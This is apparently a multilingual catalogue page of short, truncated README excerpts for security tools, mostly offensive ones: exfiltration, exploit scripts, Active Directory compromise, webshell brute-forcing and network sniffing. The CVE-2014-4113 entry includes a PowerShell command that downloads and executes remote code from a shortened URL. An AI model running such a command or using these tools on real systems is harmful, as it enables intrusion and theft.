DET

DET extensible Boîte à outils d'exfiltration de données ======= DET est fourni EN L'ÉTAT, est une preuve de concept pour réaliser une exfiltration de données en utilisant un ou plusieurs canaux simultanément. Ceci est une preuve de concept visant à identifier d'éventuelles défaillances de la DLP...

-CVE-2017-9805-

Informations sur la vulnérabilité Ressources : https://vulners.com/cve/CVE-2017-9805 Qu'est-ce que c'est ? Un script d'exploit Python capable d'exécuter des commandes à distance dans le shell d'un système hébergeant un Struts2 vulnérable à S2-052. Utilisation python s2-052.py --target...

bambdas

Scripts Bambda Bienvenue dans le dépôt officiel des scripts Bambda de PortSwigger. Ce dépôt contient une collection de scripts développés par PortSwigger et la communauté avec 🧡 📑 Sur cette page Types de scripts Bambda Contenu du dépôt Importation de scripts dans Burp Mise à jour des scripts dans...

ad-autopwn

AD AutoPwn Zéro-Auth vers Administrateur de domaine — Chaîne d'attaque Active Directory automatisée Un outil de test d'intrusion entièrement automatisé qui enchaîne plus de 25 techniques d'attaque pour compromettre des environnements Active Directory. Conçu pour des évaluations de sécurité...

dirhunt

.. image:: https://raw.githubusercontent.com/Nekmo/dirhunt/v0.2.0/images/dirhunt.png | .. image:: https://raw.githubusercontent.com/Nekmo/dirhunt/pip-rating-badge/pip-rating-badge.svg :target: https://github.com/Nekmo/dirhunt/actions/workflows/pip-rating.yml :alt: Badge pip-rating .. image::...

log4j-scan

log4j-scan Un scanner entièrement automatisé, précis et complet pour trouver des hôtes log4j vulnérables Fonctionnalités Prise en charge des listes d'URL. Fuzzing pour plus de 60 en-têtes de requête HTTP pas seulement 3-4 en-têtes comme dans les outils précédemment vus. Fuzzing pour les paramètre...

SharpWebServer

SharpWebServer Un serveur HTTP & WebDAV simple orienté Red Team écrit en C avec la fonctionnalité de capture de hachages Net-NTLM. À utiliser pour servir des payloads sur des machines compromises à des fins de mouvement latéral. Nécessite .NET Framework 4.5 et les références System.Net et...

hibernate-orm

Hibernate ORM は、アプリケーション、ライブラリ、フレームワークにオブジェクト/リレーショナルマッピング（ORM）サポートを提供するライブラリです。 また、ORM の標準 Java 仕様である JPA 仕様の実装も提供します。 ここはそのソースコードのリポジトリです。詳細は Hibernate.org を参照してください。 ソースからのビルド ビルドには Java 8 JDK が JAVAHOME として必要です。 ソース を取得するには Git が必要です。 Hibernate はビルドツールとして Gradle を使用しています。Gradle に慣れていない場合は、下記の...

Espionage

التجسس - أداة اعتراض حركة مرور الشبكة لنظام لينكس مميز في حول التجسس التجسس هو أداة لالتقاط حزم الشبكة تعترض كميات كبيرة من البيانات المارة عبر واجهة. تتيح الأداة للمستخدمين تشغيل تحليل حركة المرور العادي والمفصل الذي يعرض بثًا مباشرًا لحركة المرور، كاشفًا اتجاه الحزمة، البروتوكولات، الأعلام، إلخ...

SwishDbgExt

SwishDbgExt SwishDbgExt est une extension de débogage Microsoft WinDbg qui étend l'ensemble des commandes disponibles de Microsoft WinDbg, mais corrige et améliore également les commandes existantes. Cette extension a été développée par Matt Suiche @msuiche – n'hésitez pas à nous contacter à...

sniffly

Sniffly2 Sniffly2 est une variante de Sniffly qui abuse des en-têtes HTTP Strict Transport Security et de l'API Performance Timing afin de détecter votre historique de navigation dans les navigateurs basés sur Chromium. Démo Visitez http://diracdeltas.github.io/sniffly dans...

webscreenshot

webscreenshot Description Un script simple pour prendre des captures d'écran d'une liste de sites web, basé sur le script PhantomJS url-to-image. Fonctionnalités Intégration du 'lazy-rendering' d'url-to-image pour les ressources AJAX Fonctionnel sur les systèmes Windows et Linux Prise en charge d...

CVE-2021-41773

CVE-2021-41773 — Exploitation de contournement de chemin et RCE Apache Writeup de la salle TryHackMe « Modern Web Stacks » , axée sur l'exploitation de CVE-2021-41773 , une vulnérabilité de contournement de chemin dans Apache HTTP Server 2.4.49 qui conduit à une exécution de code à distance lorsq...

awesome-pentest

Awesome Penetration Testing Une collection de ressources impressionnantes de test de pénétration et de cybersécurité offensive. Le test de pénétration est la pratique consistant à lancer des attaques autorisées et simulées contre des systèmes informatiques et leur infrastructure physique afin...

CVE-2014-4113

CVE-2014-4113 PowerShell CVE-2014-4113 x64 Windows uniquement iex New-Object Net.WebClient.DownloadString'http://bit.ly/1qosbJH'...

PwnAdventure3

PwnAdventure3 Bienvenue sur l'île Pwnie ! Pwn Adventure 3 : Pwnie Island est un MMORPG en monde ouvert, à la première personne, véritablement libre, disponible en édition limitée, se déroulant sur une magnifique île où tout peut arriver. Car ce jeu est intentionnellement vulnérable à toutes sorte...

crawlergo

crawlergo Un puissant crawler de navigateur pour les scanners de vulnérabilités Web Document anglais | 中文文档 crawlergo est un crawler de navigateur qui utilise le mode chrome headless pour la collecte d'URL. Il accroche les positions clés de la page Web entière avec l'étape de rendu DOM, remplit e...

cheetah

Description en anglais | Description en chinois 0x00 cheetah Cheetah est un outil de brute force par dictionnaire pour mots de passe de webshell, fonctionnant aussi rapidement qu'un guépard chassant sa proie. Le principe de fonctionnement de Cheetah est qu'il peut soumettre un grand nombre de mot...

sniffglue

sniffglue sniffglue — это сетевой сниффер, написанный на Rust. Сетевые пакеты анализируются конкурентно с использованием пула потоков для загрузки всех ядер процессора. Цели проекта: вы можете безопасно запускать sniffglue в ненадёжных сетях, и он не должен аварийно завершаться при обработке...

GooFuzz

GooFuzz - La Puissance des Google Dorks Crédits Auteur : M3n0sD0n4ld Twitter : @DavidUton Description : GooFuzz est un script écrit en Bash Scripting qui utilise des techniques de recherche avancées de Google pour obtenir des informations sensibles dans des fichiers ou des répertoires sans faire ...